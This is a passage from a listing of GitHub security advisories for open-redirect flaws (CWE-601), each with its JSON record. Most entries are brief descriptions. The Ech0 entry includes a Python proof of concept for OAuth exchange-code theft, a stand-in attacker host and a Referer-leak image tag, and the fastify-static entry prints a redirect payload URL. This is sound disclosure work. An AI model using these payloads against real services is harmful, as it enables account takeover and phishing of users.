CWE-601
AllowedURL Redirection to Untrusted Site ('Open Redirect')
Abstraction: Base · Status: Draft
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
2310 vulnerabilities reference this CWE, most recent first.
GHSA-P532-R78R-7WW3
Vulnerability from github – Published: 2024-01-15 18:30 – Updated: 2024-01-15 18:30Open Redirect vulnerability in FireEye HXTool affecting version 4.6, the exploitation of which could allow an attacker to redirect a legitimate user to a malicious page by changing the 'redirect_uri' parameter.
{
"affected": [],
"aliases": [
"CVE-2024-0319"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-15T17:15:09Z",
"severity": "MODERATE"
},
"details": "Open Redirect vulnerability in FireEye HXTool affecting version 4.6, the exploitation of which could allow an attacker to redirect a legitimate user to a malicious page by changing the \u0027redirect_uri\u0027 parameter.",
"id": "GHSA-p532-r78r-7ww3",
"modified": "2024-01-15T18:30:18Z",
"published": "2024-01-15T18:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0319"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-fireeye-products"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P546-7WHM-CXPM
Vulnerability from github – Published: 2026-02-18 21:31 – Updated: 2026-02-20 00:31An URL redirection vulnerability was identified in GitHub Enterprise Server that allowed attacker-controlled redirects to leak sensitive authorization tokens. The repository_pages API insecurely followed HTTP redirects when fetching artifact URLs, preserving the authorization header containing a privileged JWT. An authenticated user could redirect these requests to an attacker-controlled domain, exfiltrate the Actions.ManageOrgs JWT, and leverage it for potential remote code execution. Attackers would require access to the target GitHub Enterprise Server instance and the ability to exploit a legacy redirect to an attacker-controlled domain. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.19 and was fixed in versions 3.19.2, 3.18.4, 3.17.10, 3.16.13, 3.15.17, and 3.14.22. This vulnerability was reported via the GitHub Bug Bounty program.
{
"affected": [],
"aliases": [
"CVE-2026-0573"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-18T21:16:22Z",
"severity": "HIGH"
},
"details": "An URL redirection vulnerability was identified in GitHub Enterprise Server that allowed attacker-controlled redirects to leak sensitive authorization tokens. The repository_pages API insecurely followed HTTP redirects when fetching artifact URLs, preserving the authorization header containing a privileged JWT. An authenticated user could redirect these requests to an attacker-controlled domain, exfiltrate the Actions.ManageOrgs JWT, and leverage it for potential remote code execution. Attackers would require access to the target GitHub Enterprise Server instance and the ability to exploit a legacy redirect to an attacker-controlled domain. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.19 and was fixed in versions 3.19.2, 3.18.4, 3.17.10, 3.16.13, 3.15.17, and 3.14.22. This vulnerability was reported via the GitHub Bug Bounty program.",
"id": "GHSA-p546-7whm-cxpm",
"modified": "2026-02-20T00:31:52Z",
"published": "2026-02-18T21:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0573"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.14/admin/release-notes#3.14.22"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.15/admin/release-notes#3.15.17"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.13"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.10"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.4"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P58G-V8G4-QRC3
Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2025-04-20 03:43Adobe Flash Player versions 26.0.0.137 and earlier have a security bypass vulnerability that leads to information disclosure when performing URL redirect.
{
"affected": [],
"aliases": [
"CVE-2017-3085"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-11T19:29:00Z",
"severity": "HIGH"
},
"details": "Adobe Flash Player versions 26.0.0.137 and earlier have a security bypass vulnerability that leads to information disclosure when performing URL redirect.",
"id": "GHSA-p58g-v8g4-qrc3",
"modified": "2025-04-20T03:43:05Z",
"published": "2022-05-13T01:04:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3085"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2457"
},
{
"type": "WEB",
"url": "https://blog.bjornweb.nl/2017/08/flash-remote-sandbox-escape-windows-user-credentials-leak"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/flash-player/apsb17-23.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201709-16"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100191"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039088"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-17-634"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P64J-F4X9-WQ66
Vulnerability from github – Published: 2026-05-07 21:30 – Updated: 2026-05-07 21:30Summary
parseAndValidateClientRedirect at internal/service/auth/auth.go:448 validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at /oauth/:provider/login embeds the caller-supplied redirect_uri verbatim into the signed state JWT without any validation at login time. Alice submits a crafted redirect_uri whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path with the one-time exchange code in the query string. If the chosen path leaks the URL via Referer, analytics, or an open redirect, the attacker trades the code at POST /api/auth/exchange for the victim's access and refresh tokens. RFC 6749 §3.1.2 requires exact redirect URI matching.
Details
Validation at internal/service/auth/auth.go:448:
matched := false
for _, item := range allowed {
allowURL, parseErr := url.Parse(strings.TrimSpace(item))
if parseErr != nil || allowURL == nil || allowURL.Host == "" {
continue
}
if strings.EqualFold(redirectURL.Scheme, allowURL.Scheme) &&
strings.EqualFold(redirectURL.Host, allowURL.Host) {
matched = true
break
}
}
Scheme and host compared via EqualFold. Path, query, fragment all ignored. An allowlist entry of https://myecho.example.com/dashboard matches every https://myecho.example.com/<anything> the attacker sends.
Login flow at internal/service/auth/auth.go:141 (GetOAuthLoginURL) and the handler at internal/handler/auth/oauth.go:43:
redirectURI := ctx.Query("redirect_uri")
redirectURL, err := h.authService.GetOAuthLoginURL(provider, redirectURI)
// ...
ctx.Redirect(302, redirectURL)
No validation at login. The raw redirect_uri query parameter is passed to GetOAuthLoginURL, which encodes it into the signed state JWT alongside the provider name and nonce. The state JWT travels through the OAuth provider and returns on the callback.
At callback time, parseAndValidateClientRedirect(oauthState.Redirect) fires at internal/service/auth/auth.go:372 and :427 inside the callback handler chain. Scheme and host are the only gates on the attacker-chosen URI.
After validation, the server generates a one-time exchange code and redirects the browser to the attacker-chosen path:
302 Location: https://myecho.example.com/<attacker-path>?code=<one-time-exchange-code>
The code is valid at the public endpoint POST /api/auth/exchange for up to 60 seconds (single-use). An attacker who reads the code from the URL trades it for the victim's access token and refresh token.
Proof of Concept
Default install with OAuth2 configured. Admin allows https://myecho.example.com/dashboard as the return URL; Alice sends a crafted login link whose redirect points elsewhere on the same host:
import requests, urllib.parse, base64, json
TARGET = "http://localhost:8300"
# Admin setup: enable OAuth with one allowed return URL (dashboard).
owner = requests.post(f"{TARGET}/api/login",
json={"username": "owner", "password": "owner-pw"}
).json()["data"]["access_token"]
requests.put(f"{TARGET}/api/oauth2/settings",
headers={"Authorization": f"Bearer {owner}",
"content-type": "application/json"},
json={"enable": True, "provider": "github",
"client_id": "poc-client-id", "client_secret": "poc-client-secret",
"redirect_uri": f"{TARGET}/oauth/github/callback",
"scopes": ["read:user"],
"auth_url": "https://github.com/login/oauth/authorize",
"token_url": "https://github.com/login/oauth/access_token",
"user_info_url": "https://api.github.com/user",
"auth_redirect_allowed_return_urls": ["https://myecho.example.com/dashboard"]})
# Alice's link to the victim. Same host, different path.
for attacker_uri in [
"https://myecho.example.com/dashboard", # control, allowed
"https://myecho.example.com/attacker-chosen-path", # path bypass
"https://attacker.example/foo", # different host, should also fail
]:
url = f"{TARGET}/oauth/github/login?redirect_uri=" + urllib.parse.quote(attacker_uri)
r = requests.get(url, allow_redirects=False)
loc = r.headers.get("Location", "")
state_jwt = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get("state", [""])[0]
pad = lambda s: s + "=" * (-len(s) % 4)
payload = json.loads(base64.urlsafe_b64decode(pad(state_jwt.split(".")[1])))
print(f" redirect_uri={attacker_uri!r}")
print(f" login HTTP: {r.status_code}")
print(f" state JWT redirect: {payload.get('redirect')!r}")
Observed on v4.5.6:
redirect_uri='https://myecho.example.com/dashboard'
login HTTP: 302
state JWT redirect: 'https://myecho.example.com/dashboard'
redirect_uri='https://myecho.example.com/attacker-chosen-path'
login HTTP: 302
state JWT redirect: 'https://myecho.example.com/attacker-chosen-path'
redirect_uri='https://attacker.example/foo'
login HTTP: 302
state JWT redirect: 'https://attacker.example/foo'
All three redirect_uri values sail through login with no validation; the state JWT carries the attacker-chosen URL verbatim. The first two pass the callback's scheme+host check against the dashboard allowlist entry and the server redirects to the attacker-chosen path with the exchange code appended. The third (different host) fails the callback's allowlist check, so it does not land; the point is that no validation occurs at login time, only at callback, and the callback check ignores path entirely.
Impact
Alice delivers a single link to Bob (phishing email, social-engineering message, embedded redirect in a compromised site). Bob clicks, completes OAuth as himself, and lands on the attacker-chosen path on the legitimate Ech0 host with ?code=<one-time> in the URL. Three paths to full account takeover follow:
- Referer leakage. A single
<img src="https://attacker.site/log">or<script src>on the attacker-chosen path sends the victim's full URL (including the code) to the attacker in the Referer header. - Analytics and third-party scripts. Any page on the allowlisted host that loads Google Analytics, Sentry, or Segment reports the URL (including the code) to those services. Any attacker with access to those accounts reads the code.
- Open-redirect chains. If any path on the allowlisted host has an open-redirect bug, the attacker targets it and bounces the URL (with the code) to their server.
The code is trade-in-able at POST /api/auth/exchange, which is public. The exchange returns the victim's access_token and refresh_token. Full account takeover follows.
Preconditions: Ech0's OAuth is configured (opt-in), one allowlisted host has any path that leaks URLs, and the attacker reaches the victim with a crafted link. RFC 6749 §3.1.2 exists precisely to prevent this chain.
Recommended Fix
Require exact redirect URI matching per the spec. Compare scheme, host, and path together:
redirectNorm := strings.ToLower(redirectURL.Scheme) + "://" +
strings.ToLower(redirectURL.Host) +
redirectURL.Path
for _, item := range allowed {
allowURL, parseErr := url.Parse(strings.TrimSpace(item))
if parseErr != nil || allowURL == nil || allowURL.Host == "" {
continue
}
allowNorm := strings.ToLower(allowURL.Scheme) + "://" +
strings.ToLower(allowURL.Host) +
allowURL.Path
if redirectNorm == allowNorm {
matched = true
break
}
}
Validate the redirect_uri at login time too, so a malformed value never enters the state JWT:
func (s *AuthService) GetOAuthLoginURL(provider, redirectURI string) (string, error) {
if redirectURI != "" {
if _, err := s.parseAndValidateClientRedirect(redirectURI); err != nil {
return "", err
}
}
// ... rest unchanged
}
Document the exact-match semantics in the admin panel. Every allowlisted return URL needs the full path the front-end lands on.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/Ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.8-0.20260503040728-a7e8b8e84bd1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1173",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T21:30:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`parseAndValidateClientRedirect` at `internal/service/auth/auth.go:448` validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at `/oauth/:provider/login` embeds the caller-supplied `redirect_uri` verbatim into the signed state JWT without any validation at login time. Alice submits a crafted `redirect_uri` whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path with the one-time exchange code in the query string. If the chosen path leaks the URL via Referer, analytics, or an open redirect, the attacker trades the code at `POST /api/auth/exchange` for the victim\u0027s access and refresh tokens. RFC 6749 \u00a73.1.2 requires exact redirect URI matching.\n\n## Details\n\nValidation at `internal/service/auth/auth.go:448`:\n\n```go\nmatched := false\nfor _, item := range allowed {\n allowURL, parseErr := url.Parse(strings.TrimSpace(item))\n if parseErr != nil || allowURL == nil || allowURL.Host == \"\" {\n continue\n }\n if strings.EqualFold(redirectURL.Scheme, allowURL.Scheme) \u0026\u0026\n strings.EqualFold(redirectURL.Host, allowURL.Host) {\n matched = true\n break\n }\n}\n```\n\nScheme and host compared via `EqualFold`. Path, query, fragment all ignored. An allowlist entry of `https://myecho.example.com/dashboard` matches every `https://myecho.example.com/\u003canything\u003e` the attacker sends.\n\nLogin flow at `internal/service/auth/auth.go:141` (`GetOAuthLoginURL`) and the handler at `internal/handler/auth/oauth.go:43`:\n\n```go\nredirectURI := ctx.Query(\"redirect_uri\")\nredirectURL, err := h.authService.GetOAuthLoginURL(provider, redirectURI)\n// ...\nctx.Redirect(302, redirectURL)\n```\n\nNo validation at login. The raw `redirect_uri` query parameter is passed to `GetOAuthLoginURL`, which encodes it into the signed state JWT alongside the provider name and nonce. The state JWT travels through the OAuth provider and returns on the callback.\n\nAt callback time, `parseAndValidateClientRedirect(oauthState.Redirect)` fires at `internal/service/auth/auth.go:372` and `:427` inside the callback handler chain. Scheme and host are the only gates on the attacker-chosen URI.\n\nAfter validation, the server generates a one-time exchange code and redirects the browser to the attacker-chosen path:\n\n```\n302 Location: https://myecho.example.com/\u003cattacker-path\u003e?code=\u003cone-time-exchange-code\u003e\n```\n\nThe code is valid at the public endpoint `POST /api/auth/exchange` for up to 60 seconds (single-use). An attacker who reads the code from the URL trades it for the victim\u0027s access token and refresh token.\n\n## Proof of Concept\n\nDefault install with OAuth2 configured. Admin allows `https://myecho.example.com/dashboard` as the return URL; Alice sends a crafted login link whose redirect points elsewhere on the same host:\n\n```python\nimport requests, urllib.parse, base64, json\nTARGET = \"http://localhost:8300\"\n\n# Admin setup: enable OAuth with one allowed return URL (dashboard).\nowner = requests.post(f\"{TARGET}/api/login\",\n json={\"username\": \"owner\", \"password\": \"owner-pw\"}\n ).json()[\"data\"][\"access_token\"]\nrequests.put(f\"{TARGET}/api/oauth2/settings\",\n headers={\"Authorization\": f\"Bearer {owner}\",\n \"content-type\": \"application/json\"},\n json={\"enable\": True, \"provider\": \"github\",\n \"client_id\": \"poc-client-id\", \"client_secret\": \"poc-client-secret\",\n \"redirect_uri\": f\"{TARGET}/oauth/github/callback\",\n \"scopes\": [\"read:user\"],\n \"auth_url\": \"https://github.com/login/oauth/authorize\",\n \"token_url\": \"https://github.com/login/oauth/access_token\",\n \"user_info_url\": \"https://api.github.com/user\",\n \"auth_redirect_allowed_return_urls\": [\"https://myecho.example.com/dashboard\"]})\n\n# Alice\u0027s link to the victim. Same host, different path.\nfor attacker_uri in [\n \"https://myecho.example.com/dashboard\", # control, allowed\n \"https://myecho.example.com/attacker-chosen-path\", # path bypass\n \"https://attacker.example/foo\", # different host, should also fail\n]:\n url = f\"{TARGET}/oauth/github/login?redirect_uri=\" + urllib.parse.quote(attacker_uri)\n r = requests.get(url, allow_redirects=False)\n loc = r.headers.get(\"Location\", \"\")\n state_jwt = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get(\"state\", [\"\"])[0]\n pad = lambda s: s + \"=\" * (-len(s) % 4)\n payload = json.loads(base64.urlsafe_b64decode(pad(state_jwt.split(\".\")[1])))\n print(f\" redirect_uri={attacker_uri!r}\")\n print(f\" login HTTP: {r.status_code}\")\n print(f\" state JWT redirect: {payload.get(\u0027redirect\u0027)!r}\")\n```\n\nObserved on v4.5.6:\n\n```\nredirect_uri=\u0027https://myecho.example.com/dashboard\u0027\n login HTTP: 302\n state JWT redirect: \u0027https://myecho.example.com/dashboard\u0027\nredirect_uri=\u0027https://myecho.example.com/attacker-chosen-path\u0027\n login HTTP: 302\n state JWT redirect: \u0027https://myecho.example.com/attacker-chosen-path\u0027\nredirect_uri=\u0027https://attacker.example/foo\u0027\n login HTTP: 302\n state JWT redirect: \u0027https://attacker.example/foo\u0027\n```\n\nAll three `redirect_uri` values sail through login with no validation; the state JWT carries the attacker-chosen URL verbatim. The first two pass the callback\u0027s scheme+host check against the `dashboard` allowlist entry and the server redirects to the attacker-chosen path with the exchange code appended. The third (different host) fails the callback\u0027s allowlist check, so it does not land; the point is that no validation occurs at login time, only at callback, and the callback check ignores path entirely.\n\n## Impact\n\nAlice delivers a single link to Bob (phishing email, social-engineering message, embedded redirect in a compromised site). Bob clicks, completes OAuth as himself, and lands on the attacker-chosen path on the legitimate Ech0 host with `?code=\u003cone-time\u003e` in the URL. Three paths to full account takeover follow:\n\n- **Referer leakage.** A single `\u003cimg src=\"https://attacker.site/log\"\u003e` or `\u003cscript src\u003e` on the attacker-chosen path sends the victim\u0027s full URL (including the code) to the attacker in the Referer header.\n- **Analytics and third-party scripts.** Any page on the allowlisted host that loads Google Analytics, Sentry, or Segment reports the URL (including the code) to those services. Any attacker with access to those accounts reads the code.\n- **Open-redirect chains.** If any path on the allowlisted host has an open-redirect bug, the attacker targets it and bounces the URL (with the code) to their server.\n\nThe code is trade-in-able at `POST /api/auth/exchange`, which is public. The exchange returns the victim\u0027s access_token and refresh_token. Full account takeover follows.\n\nPreconditions: Ech0\u0027s OAuth is configured (opt-in), one allowlisted host has any path that leaks URLs, and the attacker reaches the victim with a crafted link. RFC 6749 \u00a73.1.2 exists precisely to prevent this chain.\n\n## Recommended Fix\n\nRequire exact redirect URI matching per the spec. Compare scheme, host, and path together:\n\n```go\nredirectNorm := strings.ToLower(redirectURL.Scheme) + \"://\" +\n strings.ToLower(redirectURL.Host) +\n redirectURL.Path\nfor _, item := range allowed {\n allowURL, parseErr := url.Parse(strings.TrimSpace(item))\n if parseErr != nil || allowURL == nil || allowURL.Host == \"\" {\n continue\n }\n allowNorm := strings.ToLower(allowURL.Scheme) + \"://\" +\n strings.ToLower(allowURL.Host) +\n allowURL.Path\n if redirectNorm == allowNorm {\n matched = true\n break\n }\n}\n```\n\nValidate the `redirect_uri` at login time too, so a malformed value never enters the state JWT:\n\n```go\nfunc (s *AuthService) GetOAuthLoginURL(provider, redirectURI string) (string, error) {\n if redirectURI != \"\" {\n if _, err := s.parseAndValidateClientRedirect(redirectURI); err != nil {\n return \"\", err\n }\n }\n // ... rest unchanged\n}\n```\n\nDocument the exact-match semantics in the admin panel. Every allowlisted return URL needs the full path the front-end lands on.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-p64j-f4x9-wq66",
"modified": "2026-05-07T21:30:45Z",
"published": "2026-05-07T21:30:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-p64j-f4x9-wq66"
},
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/commit/a7e8b8e84bd1e3db090dfb720f2c6c433356b442"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ech0\u0027s OAuth redirect URI validation ignores path component, enables exchange-code theft"
}
GHSA-P6VG-P826-QP3V
Vulnerability from github – Published: 2021-10-05 20:24 – Updated: 2021-10-21 15:01Impact
A redirect vulnerability in the fastify-static module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash // followed by a domain: http://localhost:3000//google.com/%2e%2e.
The issue shows up on all the fastify-static applications that set redirect: true option. By default, it is false.
Patches
The issue has been patched in fastify-static@4.2.4
Workarounds
If updating is not an option, you can sanitize the input URLs using the rewriteUrl server option.
References
- Bug founder: drstrnegth
- hackerone Report
For more information
If you have any questions or comments about this advisory: * Open an issue in fastify-static * Contact the security team
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fastify-static"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-22963"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-05T18:55:33Z",
"nvd_published_at": "2021-10-14T15:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA redirect vulnerability in the `fastify-static` module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash `//` followed by a domain: `http://localhost:3000//google.com/%2e%2e`.\n\nThe issue shows up on all the `fastify-static` applications that set `redirect: true` option. By default, it is `false`.\n\n### Patches\nThe issue has been patched in `fastify-static@4.2.4`\n\n### Workarounds\nIf updating is not an option, you can sanitize the input URLs using the [`rewriteUrl`](https://www.fastify.io/docs/latest/Server/#rewriteurl) server option.\n\n### References\n\n+ Bug founder: drstrnegth\n+ [hackerone Report](https://hackerone.com/reports/1354255)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-static](https://github.com/fastify/fastify-static)\n* Contact the [security team](https://github.com/fastify/fastify/blob/main/SECURITY.md#the-fastify-security-team)\n",
"id": "GHSA-p6vg-p826-qp3v",
"modified": "2021-10-21T15:01:19Z",
"published": "2021-10-05T20:24:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-static/security/advisories/GHSA-p6vg-p826-qp3v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22963"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1354255"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fastify-static"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) in fastify-static"
}
GHSA-P85H-H5H6-5XRQ
Vulnerability from github – Published: 2025-04-01 15:31 – Updated: 2025-04-01 15:31URL Redirection to Untrusted Site ('Open Redirect') vulnerability in formsintegrations Integration of Zoho CRM and Contact Form 7 allows Phishing. This issue affects Integration of Zoho CRM and Contact Form 7: from n/a through 1.0.6.
{
"affected": [],
"aliases": [
"CVE-2025-31821"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T15:16:22Z",
"severity": "MODERATE"
},
"details": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in formsintegrations Integration of Zoho CRM and Contact Form 7 allows Phishing. This issue affects Integration of Zoho CRM and Contact Form 7: from n/a through 1.0.6.",
"id": "GHSA-p85h-h5h6-5xrq",
"modified": "2025-04-01T15:31:41Z",
"published": "2025-04-01T15:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31821"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/integration-of-zoho-crm-and-contact-form-7/vulnerability/wordpress-integration-of-zoho-crm-and-contact-form-7-plugin-1-0-6-open-redirection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P85Q-V64C-FXCH
Vulnerability from github – Published: 2025-02-24 12:31 – Updated: 2025-02-24 12:31The WPO365 | MICROSOFT 365 GRAPH MAILER plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 3.2. This is due to insufficient validation on the redirect url supplied via the 'redirect_to' parameter. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if 1. they can successfully trick them into performing an action and 2. the plugin is activated but not configured.
{
"affected": [],
"aliases": [
"CVE-2025-1488"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-24T11:15:10Z",
"severity": "MODERATE"
},
"details": "The WPO365 | MICROSOFT 365 GRAPH MAILER plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 3.2. This is due to insufficient validation on the redirect url supplied via the \u0027redirect_to\u0027 parameter. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if 1. they can successfully trick them into performing an action and 2. the plugin is activated but not configured.",
"id": "GHSA-p85q-v64c-fxch",
"modified": "2025-02-24T12:31:59Z",
"published": "2025-02-24T12:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1488"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3244747"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wpo365-msgraphmailer/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3a1782c3-ae0b-42f1-aa5e-dabfa2a5bbcd?source=cve"
},
{
"type": "WEB",
"url": "https://www.wpo365.com/change-log"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P8C3-HJRQ-6XMX
Vulnerability from github – Published: 2026-01-25 12:30 – Updated: 2026-01-25 12:30A vulnerability was determined in lcg0124 BootDo up to 5ccd963c74058036b466e038cff37de4056c1600. Affected by this vulnerability is the function redirectToLogin of the file AccessControlFilter.java of the component Host Header Handler. This manipulation of the argument Hostname causes open redirect. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available.
{
"affected": [],
"aliases": [
"CVE-2026-1406"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-25T12:15:46Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in lcg0124 BootDo up to 5ccd963c74058036b466e038cff37de4056c1600. Affected by this vulnerability is the function redirectToLogin of the file AccessControlFilter.java of the component Host Header Handler. This manipulation of the argument Hostname causes open redirect. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available.",
"id": "GHSA-p8c3-hjrq-6xmx",
"modified": "2026-01-25T12:30:26Z",
"published": "2026-01-25T12:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1406"
},
{
"type": "WEB",
"url": "https://github.com/webzzaa/CVE-/issues/5"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.342794"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.342794"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.736271"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P8FV-37Q7-2PR7
Vulnerability from github – Published: 2023-06-15 21:30 – Updated: 2024-04-04 04:53An open redirect vulnerability exists in the /preauth Servlet in Zimbra Collaboration Suite through 9.0 and 8.8.15. To exploit the vulnerability, an attacker would need to have obtained a valid zimbra auth token or a valid preauth token. Once the token is obtained, an attacker could redirect a user to any URL if url sanitisation is bypassed in incoming requests. NOTE: this is similar, but not identical, to CVE-2021-34807.
{
"affected": [],
"aliases": [
"CVE-2023-24030"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-15T21:15:09Z",
"severity": "MODERATE"
},
"details": "An open redirect vulnerability exists in the /preauth Servlet in Zimbra Collaboration Suite through 9.0 and 8.8.15. To exploit the vulnerability, an attacker would need to have obtained a valid zimbra auth token or a valid preauth token. Once the token is obtained, an attacker could redirect a user to any URL if url sanitisation is bypassed in incoming requests. NOTE: this is similar, but not identical, to CVE-2021-34807.",
